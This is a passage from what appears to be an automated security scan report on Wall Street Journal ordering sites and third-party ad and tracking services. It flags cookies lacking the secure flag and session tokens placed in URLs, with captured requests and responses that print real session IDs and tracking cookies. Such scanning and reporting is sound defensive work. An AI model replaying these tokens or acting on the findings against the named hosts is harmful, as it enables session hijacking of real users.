_1pagesub_session_id=3350d918d094bb4ca13e51f2f0319341; path=/; expires=Sat, 14 May 2011 10:40:02 GMT

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

POST /sub/f3/offer_form?offer_type=print_online&offer=136 HTTP/1.1
Host: order.wsj.com
Connection: keep-alive
Referer: https://order.wsj.com/sub/f3
Origin: https://order.wsj.com
X-Prototype-Version: 1.5.0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; promo_code=6BFWA1_OOT; rsi_csl=; rsi_segs=; _1pagesub_session_id=3350d918d094bb4ca13e51f2f0319341; mbox=check#true#1305367858|session#1305367797515-52119#1305369658
Content-Length: 0

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:10:02 GMT
Server: Mongrel 1.0.1
Set-Cookie: _1pagesub_session_id=3350d918d094bb4ca13e51f2f0319341; path=/; expires=Sat, 14 May 2011 10:40:02 GMT
Status: 200 OK
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0
Content-Type: text/javascript; charset=utf-8
Content-Length: 33316
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC

Element.update("lower_body", "\n\n\n <link href=\"\/xdef\/css\/f3\/wsj_v2_2_1_1.css\" media=\"all\" rel=\"Stylesheet\" type=\"text\/css\" \/>\n\n\n\n\n\n<div id=\"sidebar\">\n <div id=\"dynamicSideb
...[SNIP]...

10.6. https://order.wsj.com/sub/xdef/101/6BCWAE_OOT10 previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://order.wsj.com
Path:	/sub/xdef/101/6BCWAE_OOT10

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

_1pagesub_session_id=3350d918d094bb4ca13e51f2f0319341; path=/; expires=Sat, 14 May 2011 10:42:36 GMT
promo_code=6BCWAE_OOT10; path=/; expires=Mon, 13 Jun 2011 10:12:36 GMT

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /sub/xdef/101/6BCWAE_OOT10 HTTP/1.1
Host: order.wsj.com
Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/interactive.wsj.com/news_front;u=%5E%5E;!category=;msrc=WSJ_hp_LEFTTopStories;;mc=b2pfreezone;tile=1;sz=377x50;ord=4347434743474347;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; promo_code=6BFWA1_OOT; mbox=check#true#1305367858|session#1305367797515-52119#1305369658; _1pagesub_session_id=3350d918d094bb4ca13e51f2f0319341; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; rsi_csl=; rsi_segs=

Response

HTTP/1.1 302 Moved Temporarily
Date: Sat, 14 May 2011 10:12:36 GMT
Server: Mongrel 1.0.1
Set-Cookie: promo_code=6BCWAE_OOT10; path=/; expires=Mon, 13 Jun 2011 10:12:36 GMT
Set-Cookie: _1pagesub_session_id=3350d918d094bb4ca13e51f2f0319341; path=/; expires=Sat, 14 May 2011 10:42:36 GMT
Status: 302 Found
Location: https://order.wsj.com/sub/f3/cookie_check
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 107
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC

<html><body>You are being <a href="https://order.wsj.com/sub/f3/cookie_check">redirected</a>.</body></html>

10.7. https://order.wsj.com/sub/xdef/113/6BFWA1_OOT previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://order.wsj.com
Path:	/sub/xdef/113/6BFWA1_OOT

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

_1pagesub_session_id=baa9e9647ecfa1e0f3c9612754fe2c93; path=/; expires=Sat, 14 May 2011 10:39:46 GMT
promo_code=6BFWA1_OOT; path=/; expires=Mon, 13 Jun 2011 10:09:46 GMT

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /sub/xdef/113/6BFWA1_OOT HTTP/1.1
Host: order.wsj.com
Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/interactive.wsj.com/weekend;u=;!category=;;mc=b2pfreezone;tile=1;sz=377x50;ord=6698669866986698;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; rsi_csl=; rsi_segs=

Response

HTTP/1.1 302 Moved Temporarily
Date: Sat, 14 May 2011 10:09:46 GMT
Server: Mongrel 1.0.1
Set-Cookie: promo_code=6BFWA1_OOT; path=/; expires=Mon, 13 Jun 2011 10:09:46 GMT
Set-Cookie: _1pagesub_session_id=baa9e9647ecfa1e0f3c9612754fe2c93; path=/; expires=Sat, 14 May 2011 10:39:46 GMT
Status: 302 Found
Location: https://order.wsj.com/sub/f3/cookie_check
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 107
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC

<html><body>You are being <a href="https://order.wsj.com/sub/f3/cookie_check">redirected</a>.</body></html>

10.8. https://services.wsj.com/Gryphon/jsp/find_acct.jsp previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://services.wsj.com
Path:	/Gryphon/jsp/find_acct.jsp

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

JSESSIONID=0000nywJRsjXZVnIX7-nijR65qq:-1;Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /Gryphon/jsp/find_acct.jsp HTTP/1.1
Host: services.wsj.com
Connection: keep-alive
Referer: https://order.wsj.com/sub/f3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; s_cc=true; s_sq=%5B%5BB%5D%5D; rsi_csl=; rsi_segs=; mbox=session#1305367797515-52119#1305369821|check#true#1305368021; s_invisit=true

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:25:50 GMT
Server: IBM_HTTP_Server/2.0.47.1-PK65782 Apache/2.0.47 (Unix) DAV/2
Set-Cookie: JSESSIONID=0000nywJRsjXZVnIX7-nijR65qq:-1;Path=/
Cache-Control: no-cache="set-cookie,set-cookie2"
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Keep-Alive: timeout=15, max=500
Connection: Keep-Alive
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en
Content-Length: 2854

<html>
<head>


<!--<script language="JavaScript1.1" src="scripts/djchek.js" type="text/javascript"></script>
<script language="JavaScript1.1" src="
...[SNIP]...

11. Session token in URL previous next
There are 18 instances of this issue:

http://bh.contextweb.com/bh/set.aspx
http://dowjones.tt.omtrdc.net/m2/dowjones/mbox/standard
http://fls.doubleclick.net/activityi
http://l.sharethis.com/pview
http://maps.googleapis.com/maps/api/js/AuthenticationService.Authenticate
http://maps.googleapis.com/maps/api/js/StaticMapService.GetMapImage
http://maps.googleapis.com/maps/api/js/ViewportInfoService.GetViewportInfo
http://server.iad.liveperson.net/hc/10599399/
http://server.iad.liveperson.net/hc/44533531/
http://www.facebook.com/extern/login_status.php
http://www.google.com/realtimejs
http://www.mcafeesecure.com/us/
http://www.mcafeesecure.com/us/products/buy_now.jsp
http://www.mcafeesecure.com/us/products/mcafee_secure.jsp
https://www.mcafeesecure.com/SignUp.sa
https://www.mcafeesecure.com/us/products/buy_now.jsp
https://www.mcafeesecure.com/us/resources/resource.jsp
http://www.midphase.com/includes/form-processing/captcha/cryptographp.php

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

11.1. http://bh.contextweb.com/bh/set.aspx previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://bh.contextweb.com
Path:	/bh/set.aspx

Issue detail

The URL in the request appears to contain a session token within the query string:

http://bh.contextweb.com/bh/set.aspx?action=add&advid=3196&token=SMTC1

Request

GET /bh/set.aspx?action=add&advid=3196&token=SMTC1 HTTP/1.1
Host: bh.contextweb.com
Proxy-Connection: keep-alive
Referer: http://fls.doubleclick.net/activityi;src=490793;type=smart929;cat=smart430;ord=5105054569430.649?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Sun GlassFish Enterprise Server v2.1
CW-Server: cw-web84
Set-Cookie: V=VyuOWtE0Vy43; Domain=.contextweb.com; Expires=Tue, 08-May-2012 10:18:57 GMT; Path=/
Set-Cookie: cwbh1=3196%3B06%2F13%2F2011%3BSMTC1; Domain=.contextweb.com; Expires=Sun, 17-Apr-2016 10:18:57 GMT; Path=/
Content-Type: image/gif
Date: Sat, 14 May 2011 10:18:57 GMT
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
Content-Length: 49

GIF89a...................!.......,...........T..;

11.2. http://dowjones.tt.omtrdc.net/m2/dowjones/mbox/standard previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://dowjones.tt.omtrdc.net
Path:	/m2/dowjones/mbox/standard

Issue detail

The URL in the request appears to contain a session token within the query string:

http://dowjones.tt.omtrdc.net/m2/dowjones/mbox/standard?mboxHost=online.wsj.com&mboxSession=1305367797515-52119&mboxPage=1305368651405-509524&screenHeight=1200&screenWidth=1920&browserWidth=1020&browserHeight=945&browserTimeOffset=-300&colorDepth=32&mboxCount=1&subscriberType=PUB&siteSection=Personal%20Finance&articlePubDate=Apr%201%2C%202011%205%3A33%3A15%20PM&freeArticle=FREE&articleType=Weekend%2BInvestor&mbox=ArticleRedesignKeyword&mboxId=0&mboxTime=1305350651492&mboxURL=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052748703730804576313682030967852.html%23&mboxReferrer=&mboxVersion=40

Request

GET /m2/dowjones/mbox/standard?mboxHost=online.wsj.com&mboxSession=1305367797515-52119&mboxPage=1305368651405-509524&screenHeight=1200&screenWidth=1920&browserWidth=1020&browserHeight=945&browserTimeOffset=-300&colorDepth=32&mboxCount=1&subscriberType=PUB&siteSection=Personal%20Finance&articlePubDate=Apr%201%2C%202011%205%3A33%3A15%20PM&freeArticle=FREE&articleType=Weekend%2BInvestor&mbox=ArticleRedesignKeyword&mboxId=0&mboxTime=1305350651492&mboxURL=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052748703730804576313682030967852.html%23&mboxReferrer=&mboxVersion=40 HTTP/1.1
Host: dowjones.tt.omtrdc.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Length: 103
Date: Sat, 14 May 2011 10:24:11 GMT
Server: Test & Target

mboxFactories.get('default').get('ArticleRedesignKeyword',0).setOffer(new mboxOfferDefault()).loaded();

11.3. http://fls.doubleclick.net/activityi previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://fls.doubleclick.net
Path:	/activityi

Issue detail

The response contains the following links that appear to contain session tokens:

http://bh.contextweb.com/bh/set.aspx?action=add&advid=3196&token=SMTC1

Request

GET /activityi;src=490793;type=smart929;cat=smart430;ord=5105054569430.649? HTTP/1.1
Host: fls.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/?zone=intromessage
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

11.4. http://l.sharethis.com/pview previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://l.sharethis.com
Path:	/pview

Issue detail

The URL in the request appears to contain a session token within the query string:

http://l.sharethis.com/pview?event=pview&source=share4x&publisher=3bb0afeb-5490-4685-9181-24bf12e8a8ce&hostname=allthingsd.com&location=%2F&url=http%3A%2F%2Fallthingsd.com%2F&sessionID=1305367979484.15105&fpc=c2a74e1-12fedfea5dc-285fdd11-1&ts1305367997335.0

Request

GET /pview?event=pview&source=share4x&publisher=3bb0afeb-5490-4685-9181-24bf12e8a8ce&hostname=allthingsd.com&location=%2F&url=http%3A%2F%2Fallthingsd.com%2F&sessionID=1305367979484.15105&fpc=c2a74e1-12fedfea5dc-285fdd11-1&ts1305367997335.0 HTTP/1.1
Host: l.sharethis.com
Proxy-Connection: keep-alive
Referer: http://allthingsd.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 204 No Content
Server: nginx/0.7.65
Date: Sat, 14 May 2011 10:18:17 GMT
Connection: keep-alive
Set-Cookie: __stid=Cs8yN03OVuknhnUGjLFDAg==; expires=Sun, 13-May-12 10:18:17 GMT; domain=.sharethis.com; path=/
P3P: policyref="/w3c/p3p.xml", CP="ALL DSP COR CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM"

11.5. http://maps.googleapis.com/maps/api/js/AuthenticationService.Authenticate previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://maps.googleapis.com
Path:	/maps/api/js/AuthenticationService.Authenticate

Issue detail

The URL in the request appears to contain a session token within the query string:

http://maps.googleapis.com/maps/api/js/AuthenticationService.Authenticate?1shttp%3A%2F%2Frealestate.wsj.com%2Fitem%2F822547%3Fas%255Bcountry_code%255D%3Dus%26as%255Blocation%255D%3D10010%26as%255Bsid%255D%3D56936%26as%255Btransaction%255D%3Dfor-sale%26item_offset%3D1&2sgme-wsj&callback=_xdc_._6wmybj&token=69830

Request

GET /maps/api/js/AuthenticationService.Authenticate?1shttp%3A%2F%2Frealestate.wsj.com%2Fitem%2F822547%3Fas%255Bcountry_code%255D%3Dus%26as%255Blocation%255D%3D10010%26as%255Bsid%255D%3D56936%26as%255Btransaction%255D%3Dfor-sale%26item_offset%3D1&2sgme-wsj&callback=_xdc_._6wmybj&token=69830 HTTP/1.1
Host: maps.googleapis.com
Proxy-Connection: keep-alive
Referer: http://realestate.wsj.com/item/822547?as%5Bcountry_code%5D=us&as%5Blocation%5D=10010&as%5Bsid%5D=56936&as%5Btransaction%5D=for-sale&item_offset=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
Date: Sat, 14 May 2011 10:53:45 GMT
Server: mafe
Cache-Control: private
X-XSS-Protection: 1; mode=block
Content-Length: 37

_xdc_._6wmybj && _xdc_._6wmybj( [1] )

11.6. http://maps.googleapis.com/maps/api/js/StaticMapService.GetMapImage previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://maps.googleapis.com
Path:	/maps/api/js/StaticMapService.GetMapImage

Issue detail

The URL in the request appears to contain a session token within the query string:

http://maps.googleapis.com/maps/api/js/StaticMapService.GetMapImage?1m2&1i2470221&2i3152975&2e1&3u15&4m2&1u376&2u360&5m3&1e0&2b1&5sen-US&token=59348

Request

GET /maps/api/js/StaticMapService.GetMapImage?1m2&1i2470221&2i3152975&2e1&3u15&4m2&1u376&2u360&5m3&1e0&2b1&5sen-US&token=59348 HTTP/1.1
Host: maps.googleapis.com
Proxy-Connection: keep-alive
Referer: http://realestate.wsj.com/item/822547?as%5Bcountry_code%5D=us&as%5Blocation%5D=10010&as%5Bsid%5D=56936&as%5Btransaction%5D=for-sale&item_offset=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: image/png
Date: Sat, 14 May 2011 10:27:19 GMT
Expires: Sun, 15 May 2011 10:27:19 GMT
Server: staticmap
Content-Length: 40978
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400
Age: 1486

.PNG
.
...IHDR...x...h.....j.......PLTE..... !!.11.!!!111!I.1U)=`9AA!QQ-``5pp=AAAQQQMdMMlEYwUEddYIpdUE```{l`ppp1{.A.th.dw.pt...11.wl..M..w....Y..`..h.....!..1..A....p..{..E....{............
...[SNIP]...

11.7. http://maps.googleapis.com/maps/api/js/ViewportInfoService.GetViewportInfo previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://maps.googleapis.com
Path:	/maps/api/js/ViewportInfoService.GetViewportInfo

Issue detail

The URL in the request appears to contain a session token within the query string:

http://maps.googleapis.com/maps/api/js/ViewportInfoService.GetViewportInfo?1m6&1m2&1d40.721270766215895&2d-74.0057442541504&2m2&1d40.75638871879803&2d-73.95733574584962&2u15&4sen-US&5e0&callback=_xdc_._51j4sr&token=92134

Request

GET /maps/api/js/ViewportInfoService.GetViewportInfo?1m6&1m2&1d40.721270766215895&2d-74.0057442541504&2m2&1d40.75638871879803&2d-73.95733574584962&2u15&4sen-US&5e0&callback=_xdc_._51j4sr&token=92134 HTTP/1.1
Host: maps.googleapis.com
Proxy-Connection: keep-alive
Referer: http://realestate.wsj.com/item/822547?as%5Bcountry_code%5D=us&as%5Blocation%5D=10010&as%5Bsid%5D=56936&as%5Btransaction%5D=for-sale&item_offset=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
Date: Sat, 14 May 2011 10:52:39 GMT
Server: mafe
Cache-Control: private
X-XSS-Protection: 1; mode=block
Content-Length: 2977

_xdc_._51j4sr && _xdc_._51j4sr( ["Map data ..2011 Google, Sanborn",[["street_view",[[40.74725696280421,-74.02587890625],[40.76390128094587,-73.93798828125]]],["street_view",[[40.73060847779664,-74.025
...[SNIP]...

11.8. http://server.iad.liveperson.net/hc/10599399/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://server.iad.liveperson.net
Path:	/hc/10599399/

Issue detail

The URL in the request appears to contain a session token within the query string:

http://server.iad.liveperson.net/hc/10599399/?visitor=&msessionkey=&site=10599399&cmd=startPage&page=http%3A//www.mcafeesecure.com/RatingVerify%3Fcb%3Dlp&visitorStatus=INSITE_STATUS&activePlugin=none&pageWindowName=&javaSupport=true&id=187374311&scriptVersion=1.1&d=1305377540158&&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&cobrowse=true&scriptType=SERVERBASED&cookie=resin%3D1724539402.20480.0000%3B%20__utmx%3D185732405.%3B%20__utmxx%3D185732405.%3B%20__utmz%3D185732405.1305377534.1.1.utmcsr%3Dserver.iad.liveperson.net%7Cutmccn%3D%28referral%29%7Cutmcmd%3Dreferral%7Cutmcct%3D/hcp/integration/hackersafe/hackersafe-grey.html%3B%20__utma%3D185732405.396205410.1305377534.1305377534.1305377534.1%3B%20__utmc%3D185732405%3B%20__utmb%3D185732405.3.10.1305377534&title=McAfee%20SECURE%20%7C%20LivePerson&referrer=http%3A//server.iad.liveperson.net/hcp/integration/hackersafe/hackersafe-grey.html

Request

GET /hc/10599399/?visitor=&msessionkey=&site=10599399&cmd=startPage&page=http%3A//www.mcafeesecure.com/RatingVerify%3Fcb%3Dlp&visitorStatus=INSITE_STATUS&activePlugin=none&pageWindowName=&javaSupport=true&id=187374311&scriptVersion=1.1&d=1305377540158&&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&cobrowse=true&scriptType=SERVERBASED&cookie=resin%3D1724539402.20480.0000%3B%20__utmx%3D185732405.%3B%20__utmxx%3D185732405.%3B%20__utmz%3D185732405.1305377534.1.1.utmcsr%3Dserver.iad.liveperson.net%7Cutmccn%3D%28referral%29%7Cutmcmd%3Dreferral%7Cutmcct%3D/hcp/integration/hackersafe/hackersafe-grey.html%3B%20__utma%3D185732405.396205410.1305377534.1305377534.1305377534.1%3B%20__utmc%3D185732405%3B%20__utmb%3D185732405.3.10.1305377534&title=McAfee%20SECURE%20%7C%20LivePerson&referrer=http%3A//server.iad.liveperson.net/hcp/integration/hackersafe/hackersafe-grey.html HTTP/1.1
Host: server.iad.liveperson.net
Proxy-Connection: keep-alive
Referer: http://www.mcafeesecure.com/RatingVerify?cb=lp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: HumanClickKEY=4189881755352726583; LivePersonID=LP i=16101514677756,d=1305377522; HumanClickACTIVE=1305377536355

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:52:21 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Set-Cookie: HumanClickSiteContainerID_10599399=STANDALONE; path=/hc/10599399
Set-Cookie: LivePersonID=-16101514677756-1305377540:-1:-1:-1:-1; expires=Sun, 13-May-2012 12:52:21 GMT; path=/hc/10599399; domain=.liveperson.net
Cache-Control: no-store
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Length: 34

GIF89aP............,...........L.;

11.9. http://server.iad.liveperson.net/hc/44533531/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://server.iad.liveperson.net
Path:	/hc/44533531/

Issue detail

The response contains the following links that appear to contain session tokens:

http://server.iad.liveperson.net/hc/44533531/?cmd=file&file=chatTemplate&site=44533531&sessionkey=H7690487004214661575-4202021298745294135K2753112&template=modern_surveystyle.css&survey=Pre-Chat
http://server.iad.liveperson.net/hc/44533531/?cmd=file&file=preChatSurveyContent&site=44533531&sessionkey=H7690487004214661575-4202021298745294135K2753112&survey=Pre-Chat
